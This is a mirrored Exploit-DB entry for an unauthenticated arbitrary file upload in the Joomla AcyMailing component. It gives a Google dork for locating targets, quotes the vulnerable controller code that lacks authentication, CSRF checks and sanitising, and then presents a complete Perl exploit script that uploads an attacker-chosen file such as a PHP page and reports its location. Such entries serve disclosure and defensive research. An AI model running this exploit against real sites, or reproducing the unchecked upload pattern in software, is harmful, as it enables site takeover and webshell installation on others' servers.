Joomla! Component ACYMAILING 3.9.0 – Unauthenticated Arbitrary File Upload

  • 作者: qw3rTyTy
    日期: 2020-03-18
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48230/
  • # Exploit Title: Joomla! ACYMAILING 3.9.0 component - Unauthenticated Arbitrary File Upload
    # Google Dork: inurl:"index.php?option=com_acym"
    # Date: 2020-03-16
    # Exploit Author: qw3rTyTy
    # Vendor Homepage: https://www.acyba.com/
    # Software Link: https://www.acyba.com/acymailing/download.html
    # Version: v6.9.1 Starter
    # Tested on: Joomla! v3.9.0
    # CVE: N/A
    
    
    ########################################################################################
    #Analysis of vulnerability
    ########################################################################################
    Vulnerable code is in MailsController::setNewIconShare() in file "back/controllers/mails.php".
    
    [BEGIN_CODE]
     600	public function setNewIconShare()
     601	{
     602	$socialName = acym_getVar('string', 'social', '');
     603	$extension = pathinfo($_FILES['file']['name']);
     604	$newPath = ACYM_UPLOAD_FOLDER.'socials'.DS.$socialName;
     605	$newPathComplete = $newPath.'.'.$extension['extension'];
     606			//There code is no checking CSRF token, no sanitizing, and authentication.
     607	if (!acym_uploadFile($_FILES['file']['tmp_name'], ACYM_ROOT.$newPathComplete) || empty($socialName)) { //!!!
     608	echo 'error';
     609	exit;
     610	}
     611	
     612	$newConfig = new stdClass();
     613	$newConfig->social_icons = json_decode($this->config->get('social_icons', '{}'), true);
     614	
     615	$newImg = acym_rootURI().$newPathComplete;
     616	$newImgWithoutExtension = acym_rootURI().$newPath;
     617	
     618	$newConfig->social_icons[$socialName] = $newImg;
     619	$newConfig->social_icons = json_encode($newConfig->social_icons);
     620	$this->config->save($newConfig);
     621	
     622	echo json_encode(
     623	[
     624	'url' => $newImgWithoutExtension,
     625	'extension' => $extension['extension'],
     626	]
     627	);
     628	exit;
     629	}
    
    function acym_uploadFile($src, $dest)
    {
    $dest = acym_cleanPath($dest);
    
    $baseDir = dirname($dest);
    if (!file_exists($baseDir)) {
    acym_createFolder($baseDir);
    }
    
    if (is_writeable($baseDir) && move_uploaded_file($src, $dest)) {//!!!
    if (@chmod($dest, octdec('0644'))) {
    return true;
    } else {
    acym_enqueueMessage(acym_translation('ACYM_FILE_REJECTED_SAFETY_REASON'), 'error');
    }
    } else {
    acym_enqueueMessage(acym_translation_sprintf('ACYM_COULD_NOT_UPLOAD_FILE_PERMISSION', $baseDir), 'error');
    }
    
    return false;
    }
    [END_CODE]
    
    ########################################################################################
    #Exploit
    ########################################################################################
    #!/usr/bin/perl
    #
    #$> perl ./exploit.pl "http://127.0.0.1/joomla" "lolz" /tmp/lolz.php
    use strict;
    use warnings;
    use LWP::UserAgent;
    use JSON(qw/decode_json/);
    ########################################################################################
    sub print_usage_and_exit
    {
    	print("*** com_acym Arbitrary File Upload exploit\n");
    	print("Usage: $0 <URL> <path_to_upload> <file_to_upload>\n");
    	print("\n");
    	
    	exit();
    }
    
    sub fetch_useragent
    {
    	my @available_useragents = (
    		"gertrud barkhorn",
    		"erica hartmann",
    		"eila ilmatar juutilainen",
    	);
    
    	return($available_useragents[(rand(scalar(@available_useragents)))]);
    }
    
    sub is_valid_url
    {
    	my $given_url = shift(@_);
    
    	return 1 if ( $given_url =~ /^http(s)?:\/\// );
    	return 0;
    }
    
    sub do_die
    {
    	my $errmsg = shift(@_);
    
    	printf("[!] %s\n", $errmsg);
    	exit();
    }
    
    sub get_base_path
    {
    	return(sprintf("%s/index.php", $_[0]));
    }
    
    sub do_exploit
    {
    	my %params = %{ shift(@_); };
    	my $ua = LWP::UserAgent->new(
    		"agent"			=>			$params{"useragent"},
    		"timeout"		=>			360
    	);
    
    	print("[+] Trying to exploit ...\n");
    	print("[*] Sending POST request ...\n");
    	my $response = $ua->post(
    		get_base_path($params{"url"}),
    		"Content-Type"	=>			"form-data",
    		"Accept-Language"		=>	"zh-cn",
    		"Content"		=>			{
    			"option"	=>			"com_acym",
    			"ctrl"		=>			"frontmails",
    			"task"		=>			"setNewIconShare",
    			"social"	=>			$params{"path"},
    			"file"		=>			[ $params{"file"} ],
    		},
    	);
    
    	if ( $response->code == 200 )
    	{
    		my $j = decode_json($response->decoded_content);
    		my $f = sprintf("%s.%s",
    			$j->{"url"}, $j->{"extension"});
    		my $response = $ua->head($f);
    
    		printf("[\$] Uploaded file in %s\n", $f) if ( $response->code == 200 );
    	}
    }
    
    sub main
    {
    	print_usage_and_exit() if ( scalar(@ARGV) < 2 );
    
    	my %params = (
    		"url" 		=>		$ARGV[0],
    		"path"		=>		$ARGV[1],
    		"file"		=>		$ARGV[2],
    		"useragent"	=>		fetch_useragent());
    
    	do_die("Given invalid URL.") if ( !is_valid_url($ARGV[0]) );
    	do_die("Given invalid File.") if ( (!-e $ARGV[2]) or (stat($ARGV[2]))[7] == 0);
    	printf("[*] Parameters:\n");
    
    	while ( my ($k, $v) = each(%params) ) { printf("[+] %s => %s\n", $k, $v); }
    	printf("*" x50 . "\n");
    
    	while ( 1 )
    	{
    		printf("[?] Proceed(y/n)> ");
    
    		my $c = <STDIN>;
    		chomp($c);
    
    		if ( (length($c) == 1) and lc($c) eq "y" )
    		{
    			do_exploit(\%params);
    			last;
    		}
    	}
    }
    
    main();
    ########################################################################################